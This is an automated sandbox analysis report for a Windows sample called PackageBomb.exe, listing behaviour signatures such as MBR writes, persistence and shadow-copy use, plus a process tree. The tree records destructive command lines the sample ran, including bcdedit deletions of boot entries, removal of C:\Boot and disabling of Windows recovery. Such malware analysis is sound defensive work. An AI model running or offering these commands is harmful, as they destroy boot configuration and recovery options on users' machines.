Overview

overview

8

Static

static

3

Release/Pa...mb.exe

windows10-2004-x64

6

Release/Pa...mb.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    899s
  • max time network
    564s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 19:56

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General

  • Target
    Release/PackageBomb.exe
  • Size 26KB
  • Sample260809-yn3qrax1cy
  • SHA256 75d809e9efdc9343e4d0f381b4ef3b7eebeb31e02f2bfdfe0ed1bf6e7397230e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarebootkitdefense_evasionexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Modifies boot configuration data using bcdedit 3 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in Windows directory 4 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Release\PackageBomb.exe
    "C:\Users\Admin\AppData\Local\Temp\Release\PackageBomb.exe"
    1⤵
    • Maps connected drives based on registry
    • Writes to the Master Boot Record (MBR)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:892
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4868
      • C:\Windows\system32\bcdedit.exe
        bcdedit /delete {bootmgr} /f
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3584
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:6084
      • C:\Windows\system32\bcdedit.exe
        bcdedit /delete {current} /f
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:5236
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3328
      • C:\Windows\system32\bcdedit.exe
        bcdedit /delete {default} /f
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4360
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rmdir /s /q C:\Boot >nul 2>&1
      2⤵
        PID:4480
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c reagentc /disable >nul 2>&1
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5276
        • C:\Windows\system32\ReAgentc.exe
          reagentc /disable
          3⤵
          • Drops file in Windows directory
          PID:4664
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:5560
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2516
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:3232
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4880
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:3532
      • C:\Windows\System32\SecurityHealthHost.exe
        \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
        1⤵
          PID:2880

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              prep_Activatable Class_Hermes_perf.cache
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 599B
              • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              prep_Activatable Class_Hermes_perf.cache
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 595B
              • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/3232-174-0x000000000DB60000-0x000000000E3DB000-memory.dmp
              Download

              memory/3232-210-0x000000000DB60000-0x000000000E3DB000-memory.dmp
              Download

              memory/4880-7-0x000001C7001E0000-0x000001C7002E0000-memory.dmp
              Download

              memory/4880-36-0x000001C703C80000-0x000001C703CA0000-memory.dmp
              Download

              memory/4880-32-0x000001C713EF0000-0x000001C713FF0000-memory.dmp
              Download

              memory/4880-31-0x000001C703A20000-0x000001C703A40000-memory.dmp
              Download

              memory/4880-68-0x000001C714260000-0x000001C714280000-memory.dmp
              Download